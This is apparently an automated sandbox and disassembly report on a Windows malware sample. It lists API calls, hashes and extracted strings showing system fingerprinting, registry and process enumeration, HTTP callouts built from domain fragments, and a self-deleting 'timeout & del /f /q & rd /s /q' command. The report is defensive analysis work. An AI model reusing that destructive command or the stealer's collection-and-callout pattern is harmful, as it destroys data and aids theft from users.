Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: 2410f626dbf2a0422c08dad56b63ad1257533aac18fd12fbd944bf75a0eefa31
Instruction ID: b000304e2bc15b9501b72a599a3e32511ca399046f4a84ef157ed3aac11b078b
Opcode Fuzzy Hash: 2410f626dbf2a0422c08dad56b63ad1257533aac18fd12fbd944bf75a0eefa31
Instruction Fuzzy Hash: 3A413A71940209BBDB119BE5DC89EFFBBBDEF89B11F10410AF611E6194D7789981CB20

Function 00197083 Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00190C28: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001813B9), ref: 00190C34
Part of subcall function 00190C28: HeapAlloc.KERNEL32(00000000,?,?,?,001813B9), ref: 00190C3B
Part of subcall function 00190C28: GetUserNameA.ADVAPI32(00000000,001813B9), ref: 00190C4F

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

CloseHandle.KERNEL32(00000000,?,?,?,?,001985D1), ref: 0019711F
OpenEventA.KERNEL32(001F0003,00000000,?,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019712E
CreateDirectoryA.KERNEL32(?,00000000,001B66D6), ref: 0019764C
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 0019770D
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00197726

Part of subcall function 00184B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00184BCD
Part of subcall function 00184B2E: StrCmpCA.SHLWAPI(?), ref: 00184BEB

Part of subcall function 00193A02: StrCmpCA.SHLWAPI(?,block,?,?,00197786), ref: 00193A17
Part of subcall function 00193A02: ExitProcess.KERNEL32 ref: 00193A22

Part of subcall function 00185F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00185FD8
Part of subcall function 00185F39: StrCmpCA.SHLWAPI(?), ref: 00185FF6

Part of subcall function 001931D8: strtok_s.MSVCRT ref: 001931F7
Part of subcall function 001931D8: strtok_s.MSVCRT ref: 0019327A

Sleep.KERNEL32(000003E8), ref: 00197ADC

Part of subcall function 00185F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0018618E
Part of subcall function 00185F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 001861D2
Part of subcall function 00185F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00186200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,001985D1), ref: 00197142

Part of subcall function 00192554: __EH_prolog3_catch_GS.LIBCMT ref: 0019255E
Part of subcall function 00192554: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00197E73,.exe,001B6CD4,001B6CD0,001B6CCC,001B6CC8,001B6CC4,001B6CC0,001B6CBC,001B6CB8,001B6CB4,001B6CB0,001B6CAC), ref: 0019257D
Part of subcall function 00192554: Process32First.KERNEL32(00000000,00000128), ref: 0019258D
Part of subcall function 00192554: Process32Next.KERNEL32(00000000,00000128), ref: 0019259F
Part of subcall function 00192554: StrCmpCA.SHLWAPI(?), ref: 001925B1
Part of subcall function 00192554: CloseHandle.KERNEL32(00000000), ref: 001925C5

CloseHandle.KERNEL32(?), ref: 00198042

Strings

.exe, xrefs: 00197E46
org, xrefs: 00197F29
hopto, xrefs: 00197EE1
_DEBUG.zip, xrefs: 00197F77
.exe, xrefs: 0019758B
cowod., xrefs: 00197EBD
df523263f44cc8d55414a260a0197e4a, xrefs: 0019774E
http://, xrefs: 00197E99

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$_DEBUG.zip$cowod.$df523263f44cc8d55414a260a0197e4a$hopto$http://$org
API String ID: 305159127-264486462
Opcode ID: 49d2d279ba99b8024e738dcf232e569f0ad07baf46e4dc8a02818c05ebfae0ad
Instruction ID: e6e6ed8a9762334e94f1dcb6a7679356df331dcb45a83286833abdbbef4f39c6
Opcode Fuzzy Hash: 49d2d279ba99b8024e738dcf232e569f0ad07baf46e4dc8a02818c05ebfae0ad
Instruction Fuzzy Hash: 59921F329083559FDA22FF24D842A8EB7E4FFA4704F414929F59467152DB74AE0ACF83

Function 00185237 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 161
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AE8
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AEE
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AF4
Part of subcall function 00184AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00184B06
Part of subcall function 00184AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00184B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0018527E
RtlAllocateHeap.NTDLL(00000000), ref: 00185285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 001852A7
StrCmpCA.SHLWAPI(?), ref: 001852C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001852F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00185330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00185360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0018536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00185394
InternetReadFile.WININET(?,?,00000400,?), ref: 001853DA
InternetCloseHandle.WININET(?), ref: 00185439
InternetCloseHandle.WININET(?), ref: 00185445
InternetCloseHandle.WININET(?), ref: 00185451

Strings

GET, xrefs: 00185325

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 442264750-1805413626
Opcode ID: bdf3124790010b3a7da51ad926c36c274d51d92884e09f49cb84eee557da59a0
Instruction ID: 0e398d2399c855a3e0ed846450ad4961be026562a852361186ef5ef0058baaae
Opcode Fuzzy Hash: bdf3124790010b3a7da51ad926c36c274d51d92884e09f49cb84eee557da59a0
Instruction Fuzzy Hash: A751197590192CAFDB21AF64EC85BEFBBB9EB08346F0041E5F909A6150DB705F818F90

Function 00181284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001812A7
_memset.LIBCMT ref: 001812B6
lstrcatA.KERNEL32(?,001BA9EC), ref: 001812D0
lstrcatA.KERNEL32(?,001BA9F0), ref: 001812DE
lstrcatA.KERNEL32(?,001BA9F4), ref: 001812EC
lstrcatA.KERNEL32(?,001BA9F8), ref: 001812FA
lstrcatA.KERNEL32(?,001BA9FC), ref: 00181308
lstrcatA.KERNEL32(?,001BAA00), ref: 00181316
lstrcatA.KERNEL32(?,001BAA04), ref: 00181324
lstrcatA.KERNEL32(?,001BAA08), ref: 00181332
lstrcatA.KERNEL32(?,001BAA0C), ref: 00181340
lstrcatA.KERNEL32(?,001BAA10), ref: 0018134E
lstrcatA.KERNEL32(?,001BAA14), ref: 0018135C
lstrcatA.KERNEL32(?,001BAA18), ref: 0018136A
lstrcatA.KERNEL32(?,001BAA1C), ref: 00181378

Part of subcall function 00190C5A: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00181385), ref: 00190C66
Part of subcall function 00190C5A: HeapAlloc.KERNEL32(00000000,?,?,?,00181385), ref: 00190C6D
Part of subcall function 00190C5A: GetComputerNameA.KERNEL32(00000000,00181385), ref: 00190C81

ExitProcess.KERNEL32 ref: 001813E3

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocComputerExitName
String ID:
API String ID: 1553874529-0
Opcode ID: 1d8ffee69d79e0a0dcd36f12862e7359c553399be845f5325d5407c81abc70d1
Instruction ID: 0083012a229e6790008487b1b3cc42bf4a7ccef82aeb111bacb4e742c76c6fb4
Opcode Fuzzy Hash: 1d8ffee69d79e0a0dcd36f12862e7359c553399be845f5325d5407c81abc70d1
Instruction Fuzzy Hash: 5E4154B6D0422C77CB20ABB18C59FDB7BACAF15760F900591E999E3041D774AB89CF90

Function 001911D8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,001B670E,00000000,?,?), ref: 00191248
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00191285
wsprintfA.USER32 ref: 001912B2
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 001912D1
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00191307
lstrlenA.KERNEL32(?), ref: 0019131C

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,001B6E94), ref: 001913B1
RegCloseKey.ADVAPI32(?), ref: 0019141B
RegCloseKey.ADVAPI32(?), ref: 0019143B
RegCloseKey.ADVAPI32(?), ref: 00191447

Strings

- , xrefs: 001913BB
%s\%s, xrefs: 001912AC
?, xrefs: 00191238

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: 43222b2c89ed64c7e449c4f1a21dc1b8a52f6a40ec5795af0ec5fb81b9f95eef
Instruction ID: ed0ffa347c40a2a681eec8d2fd8520ef091591f217b401ea7ac364c8994a7962
Opcode Fuzzy Hash: 43222b2c89ed64c7e449c4f1a21dc1b8a52f6a40ec5795af0ec5fb81b9f95eef
Instruction Fuzzy Hash: 8661A47590012C9BEF22EB14ED84EDABBB8EB59704F1086E6E509A6111DF30AEC5CF50

Function 001982B3 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001982D8
_memset.LIBCMT ref: 001982E7
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 001982FC

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

ShellExecuteEx.SHELL32(?), ref: 00198498
_memset.LIBCMT ref: 001984A7
_memset.LIBCMT ref: 001984B9
ExitProcess.KERNEL32 ref: 001984C9

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Strings

/c timeout /t 10 & del /f /q ", xrefs: 00198327
" & exit, xrefs: 0019841C
" & rd /s /q "C:\ProgramData\, xrefs: 00198375
" & exit, xrefs: 001983CB
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 001983D2

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: 60948c7921418fca2aef70d742cd3f695e49306cfc5a969c72455953f0eac02c
Instruction ID: 3812c79d959323432940628104a9dd717a34a0e429ea05cad779e153ff2b32af
Opcode Fuzzy Hash: 60948c7921418fca2aef70d742cd3f695e49306cfc5a969c72455953f0eac02c
Instruction Fuzzy Hash: BC51A5B1D402299BDF22EF64DC81ADDB7BCEB18704F4240E5A618B7152DB706F868F54

Function 00190977 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 001909AA
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 001909EA
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00190A3F
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00190A46
wsprintfA.USER32 ref: 00190A7C
lstrcatA.KERNEL32(00000000,001B6E44), ref: 00190A8B

Part of subcall function 00191659: GetCurrentHwProfileA.ADVAPI32(?), ref: 00191674
Part of subcall function 00191659: _memset.LIBCMT ref: 001916A3
Part of subcall function 00191659: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 001916CB
Part of subcall function 00191659: lstrcatA.KERNEL32(?,001B6ED4,?,?,?,?,?), ref: 001916E8

lstrlenA.KERNEL32(?), ref: 00190AA2

Part of subcall function 001923AA: malloc.MSVCRT ref: 001923AF
Part of subcall function 001923AA: strncpy.MSVCRT ref: 001923C0

lstrcatA.KERNEL32(00000000,00000000), ref: 00190AC5

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Strings

:\, xrefs: 001909DB
QuBi, xrefs: 001909FC
C, xrefs: 001909B4

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
